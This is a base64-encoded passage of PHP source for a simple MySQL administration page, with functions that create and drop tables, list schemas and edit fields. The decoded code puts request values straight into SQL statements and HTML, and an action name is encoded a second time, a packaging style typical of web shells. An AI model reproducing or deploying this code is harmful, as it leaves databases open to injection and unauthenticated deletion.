gVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPiI7DQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZVRhYmxlKCkgew0KDQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJMRSAkdGFibGVuYW1lICggbm8gSU5UICkiOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJbGlzdFRhYmxlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wVGFibGUoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCglsaXN0VGFibGVzKCk7DQp9DQoNCmZ1bmN0aW9uIHZpZXdTY2hlbWEoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJZWNobyAiPGgxPlRhYmxlIFNjaGVtYTwvaDE+XG4iOw0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvUXVlcnlSZXN1bHQoKTsNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRmllbGQ8L2E+IHwgXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5WaWV3IERhdGE8L2E+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgIlNIT1cgZmllbGRzIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+RmllbGQ8L3RoPlxuIjsNCgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5OdWxsPC90aD5cbiI7DQoJZWNobyAiPHRoPktleTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7DQoJZWNobyAiPHRoPkV4dHJhPC90aD5cbiI7DQoJZWNobyAiPHRoIGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOw0KCQllY2hvICI8dHI+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIkZpZWxkIl0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJLZXkiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRGVmYXVsdCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsNCgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJmZpZWxkbmFtZT0kZmllbGRuYW1lJz5FZGl0PC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRyb3A8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbWFuYWdlRmllbGQoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBGaWVsZDwvaDE+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOw0KCQkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCQkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgkJCWlmKCAkZmllbGRbIkZpZWxkIl0gPT0gJGZpZWxkbmFtZSApIHsNCgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07DQoJCQkJJGZpZWxka2V5ID0gJGZpZWxkWyJLZXkiXTsNCgkJCQkkZmllbGRleHRyYSA9ICRmaWVsZFsiRXh0cmEiXTsNCgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07DQoJCQkJJGZpZWxkZGVmYXVsdCA9ICRmaWVsZFsiRGVmYXVsdCJdOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoNCgkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCWlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICIoIiApICkgew0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCSR2YWx1ZWxpc3QgPSBzdHJ0b2soICIgKClcbiIgKTsNCgkJCX0gZWxzZSB7DQoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7DQoJCQkJaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgIiwiICkgKQ0KCQkJCQkkRCA9IHN0cnRvayggIiAoLClcbiIgKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JFBIUF9TRUxGPlxuIjsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9ZWRpdEZpZWxkX3N1Ym1pdD5cbiI7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOw0KCX0NCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOw0KCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9JGZpZWxkbmFtZT48cD5cbiI7DQoJZWNobyAnDQoNCjxoMz5UeXBlPC9oMz4NCjxmb250IHNpemU9MiBjbGFzcz0ibmV3Ij4NCiogYE1cJyBpbmRpY2F0ZXMgdGhlIG1heGltdW0gZGlzcGxheSBzaXplLjxicj4NCiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4NCjwvZm9udD4NCjx0YWJsZT4NCjx0cj4NCjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU01BTExJTlQiICc7IGlmKCAkdHlwZSA9PSAic21hbGxpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNNQUxMSU5UICgtMzI3NjggfiAzMjc2Nyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNSU5UIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNSU5UICgtODM4ODYwOCB+IDgzODg2MDcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IklOVCIgJzsgaWYoICR0eXBlID09ICJpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPklOVCAoLTIxNDc0ODM2NDggfiAyMTQ3NDgzNjQ3KTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJCSUdJTlQiICc7IGlmKCAkdHlwZSA9PSAiYmlnaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CSUdJTlQgKC05MjIzMzcyMDM2ODU0Nzc1ODA4IH4gOTIyMzM3MjAzNjg1NDc3NTgwNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRPVUJMRSIgJzsgaWYoICR0eXBlID09ICJkb3VibGUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRPVUJMRTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJERUNJTUFMIiAnOyBpZiggJHR5cGUgPT0gImRlY2ltYWwiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRFQ0lNQUwoTlVNRVJJQyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwgWVlZWS1NTS1ERCk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURVRJTUUiICc7IGlmKCAkdHlwZSA9PSAiZGF0ZXRpbWUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRBVEVUSU1FICgxMDAwLTAxLTAxIDAwOjAwOjAwIH4gOTk5OS0xMi0zMSAyMzo1OTo1OSwgWVlZWS1NTS1ERCBISDpNTTpTUyk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElNRVNUQU1QIiAnOyBpZiggJHR5cGUgPT0gInRpbWVzdGFtcCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRVNUQU1QICgxOTcwLTAxLTAxIDAwOjAwOjAwIH4gMjEwNi4uLiwgWVlZWU1NRERbSEhbTU1bU1NdXV0pPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IllFQVIiICc7IGlmKCAkdHlwZSA9PSAieWVhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+WUVBUiAoMTkwMSB+IDIxNTUsIDAwMDAsIFlZWVkpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkNIQVIiICc7IGlmKCAkdHlwZSA9PSAiY2hhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+Q0hBUjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWVRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGlueXRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllURVhUICgwIH4gMjU1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJURVhUIiAnOyBpZiggJHR5cGUgPT0gInRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRFWFQgKDAgfiA2NTUzNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdURVhUIiAnOyBpZiggJHR5cGUgPT0gImxvbmd0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HVEVYVCAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllCTE9CIiAnOyBpZiggJHR5cGUgPT0gInRpbnlibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZQkxPQiAoMCB+IDI1NSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9Ik1FRElVTUJMT0IiICc7IGlmKCAkdHlwZSA9PSAibWVkaXVtYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNQkxPQiAoMCB+IDE2Nzc3MjE1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05HQkxPQiIgJzsgaWYoICR0eXBlID09ICJsb25nYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TE9OR0JMT0IgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkVOVU08L3RkPg0KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNFVCIgJzsgaWYoICR0eXBlID09ICJzZXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNFVDwvdGQ+DQo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjx0YWJsZT4NCjx0cj48dGg+TTwvdGg+PHRoPkQ8L3RoPjx0aD51bnNpZ25lZDwvdGg+PHRoPnplcm9maWxsPC90aD48dGg+YmluYXJ5PC90aD48dGg+dmFsdWUgbGlzdCAoZXg6IFwnYXBwbGVcJywgXCdvcmFuZ2VcJywgXCdiYW5hbmFcJykgPC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPU0gJzsgaWYoICRNICE9ICIiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPUQgJzsgaWYoICREICE9ICIiICkgZWNobyAidmFsdWU9JEQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2lnbmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVkIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFsdWU9IlpFUk9GSUxMIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbGwiICkgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1iaW5hcnkgdmFsdWU9IkJJTkFSWSIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgImJpbmFyeSIgKSAgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFsdWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8aDM+RmxhZ3M8L2gzPg0KPHRhYmxlPg0KPHRyPjx0aD5ub3QgbnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3RoPjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRoPnByaW1hcnkga2V5PC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPW5vdF9udWxsIHZhbHVlPSJOT1QgTlVMTCIgJzsgaWYoICRmaWVsZG51bGwgIT0gIllFUyIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRfdmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQgIT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZhdWx0IjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hdXRvX2luY3JlbWVudCB2YWx1ZT0iQVVUT19JTkNSRU1FTlQiICc7IGlmKCAkZmllbGRleHRyYSA9PSAiYXV0b19pbmNyZW1lbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cHJpbWFyeV9rZXkgdmFsdWU9IlBSSU1BUlkgS0VZIiAnOyBpZiggJGZpZWxka2V5ID09ICJQUkkiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxwPic7DQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0FkZCBGaWVsZCc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU